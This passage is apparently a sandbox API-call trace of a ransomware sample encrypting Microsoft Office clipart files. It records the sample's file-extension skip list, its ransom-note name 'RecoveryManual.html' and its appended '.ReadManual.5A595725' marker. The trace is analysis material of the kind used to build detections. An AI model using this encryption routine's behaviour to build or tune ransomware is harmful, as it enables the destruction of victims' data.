lpFileSize=0x434fda0*=2272) returned 1 [0270.858] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8e0, lpName=0x0) returned 0x184 [0270.858] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.859] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.859] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.860] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.860] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8e0) returned 0x2f0000 [0270.861] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.861] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39152937698) returned 1 [0270.861] CloseHandle (hObject=0x184) returned 1 [0270.861] SetSecurityInfo () returned 0x57 [0270.861] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.861] CloseHandle (hObject=0x194) returned 1 [0270.861] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe14, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA02356_.WMF", cAlternateFileName="")) returned 1 [0270.861] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA02356_.WMF" | out: lpString1="NA02356_.WMF") returned="NA02356_.WMF" [0270.861] lstrcmpiW (lpString1="NA02356_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.861] StrStrIW (lpFirst="NA02356_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.861] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.861] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.861] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.861] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.861] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.861] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.861] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.861] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.861] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.861] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.861] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.861] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.861] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.861] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.861] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02356_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02356_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02356_.WMF" [0270.862] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02356_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02356_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02356_.WMF.ReadManual.5A595725" [0270.862] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02356_.WMF.ReadManual.5A595725") returned 87 [0270.862] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39153034780) returned 1 [0270.862] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02356_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02356_.wmf")) returned 0x20 [0270.862] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02356_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02356_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.862] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3604) returned 1 [0270.862] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe14, lpName=0x0) returned 0x184 [0270.862] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.863] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.863] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.864] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.865] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xe14) returned 0x2f0000 [0270.865] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.865] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39153350513) returned 1 [0270.865] CloseHandle (hObject=0x184) returned 1 [0270.865] SetSecurityInfo () returned 0x57 [0270.865] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.865] CloseHandle (hObject=0x194) returned 1 [0270.865] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x17c4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA02361_.WMF", cAlternateFileName="")) returned 1 [0270.865] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA02361_.WMF" | out: lpString1="NA02361_.WMF") returned="NA02361_.WMF" [0270.865] lstrcmpiW (lpString1="NA02361_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.865] StrStrIW (lpFirst="NA02361_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.865] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.865] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.865] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.865] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.865] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.865] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.865] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.865] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.865] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.865] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.865] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.866] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.866] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.866] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.866] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02361_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02361_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02361_.WMF" [0270.866] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02361_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02361_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02361_.WMF.ReadManual.5A595725" [0270.866] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02361_.WMF.ReadManual.5A595725") returned 87 [0270.866] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39153448651) returned 1 [0270.866] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02361_.wmf")) returned 0x20 [0270.866] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02361_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.866] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=6084) returned 1 [0270.866] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x17c4, lpName=0x0) returned 0x184 [0270.866] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.867] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.867] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.873] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.873] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x17c4) returned 0x2f0000 [0270.873] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.873] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39154194549) returned 1 [0270.873] CloseHandle (hObject=0x184) returned 1 [0270.873] SetSecurityInfo () returned 0x57 [0270.873] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.873] CloseHandle (hObject=0x194) returned 1 [0270.873] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd28, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA02368_.WMF", cAlternateFileName="")) returned 1 [0270.874] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA02368_.WMF" | out: lpString1="NA02368_.WMF") returned="NA02368_.WMF" [0270.874] lstrcmpiW (lpString1="NA02368_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.874] StrStrIW (lpFirst="NA02368_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.874] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.874] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.874] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.874] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.874] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.874] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.874] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.874] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.874] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.874] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.874] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.874] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.874] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.874] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.874] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02368_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02368_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02368_.WMF" [0270.874] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02368_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02368_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02368_.WMF.ReadManual.5A595725" [0270.874] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02368_.WMF.ReadManual.5A595725") returned 87 [0270.874] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39154290810) returned 1 [0270.874] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02368_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02368_.wmf")) returned 0x20 [0270.875] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02368_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02368_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.875] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3368) returned 1 [0270.875] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd28, lpName=0x0) returned 0x184 [0270.875] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.876] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.876] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.878] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.878] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd28) returned 0x2f0000 [0270.878] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.878] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39154677030) returned 1 [0270.878] CloseHandle (hObject=0x184) returned 1 [0270.878] SetSecurityInfo () returned 0x57 [0270.878] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.878] CloseHandle (hObject=0x194) returned 1 [0270.878] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc74, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA02371_.WMF", cAlternateFileName="")) returned 1 [0270.878] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA02371_.WMF" | out: lpString1="NA02371_.WMF") returned="NA02371_.WMF" [0270.878] lstrcmpiW (lpString1="NA02371_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.878] StrStrIW (lpFirst="NA02371_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.878] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.878] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.879] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.879] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.879] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.879] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.879] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.879] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.879] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.879] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.879] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.879] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.879] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.879] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.879] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02371_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02371_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02371_.WMF" [0270.879] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02371_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02371_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02371_.WMF.ReadManual.5A595725" [0270.879] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02371_.WMF.ReadManual.5A595725") returned 87 [0270.879] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39154773542) returned 1 [0270.879] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02371_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02371_.wmf")) returned 0x20 [0270.880] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02371_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02371_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.880] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3188) returned 1 [0270.880] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc74, lpName=0x0) returned 0x184 [0270.880] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.881] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.881] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.883] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.883] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc74) returned 0x2f0000 [0270.883] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.883] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39155173211) returned 1 [0270.883] CloseHandle (hObject=0x184) returned 1 [0270.883] SetSecurityInfo () returned 0x57 [0270.883] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.883] CloseHandle (hObject=0x194) returned 1 [0270.883] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xcec, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA02373_.WMF", cAlternateFileName="")) returned 1 [0270.883] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA02373_.WMF" | out: lpString1="NA02373_.WMF") returned="NA02373_.WMF" [0270.883] lstrcmpiW (lpString1="NA02373_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.883] StrStrIW (lpFirst="NA02373_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.883] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.883] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.883] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.884] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.884] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.884] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.884] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.884] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.884] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.884] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.884] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.884] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.884] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.884] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.884] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02373_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02373_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02373_.WMF" [0270.884] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02373_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02373_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02373_.WMF.ReadManual.5A595725" [0270.884] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02373_.WMF.ReadManual.5A595725") returned 87 [0270.884] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39155270210) returned 1 [0270.884] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02373_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02373_.wmf")) returned 0x20 [0270.884] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02373_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02373_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.885] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3308) returned 1 [0270.885] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xcec, lpName=0x0) returned 0x184 [0270.885] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.886] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.886] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.887] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.887] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xcec) returned 0x2f0000 [0270.887] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.888] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39155632166) returned 1 [0270.888] CloseHandle (hObject=0x184) returned 1 [0270.888] SetSecurityInfo () returned 0x57 [0270.888] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.888] CloseHandle (hObject=0x194) returned 1 [0270.888] FindNextFileW (in: 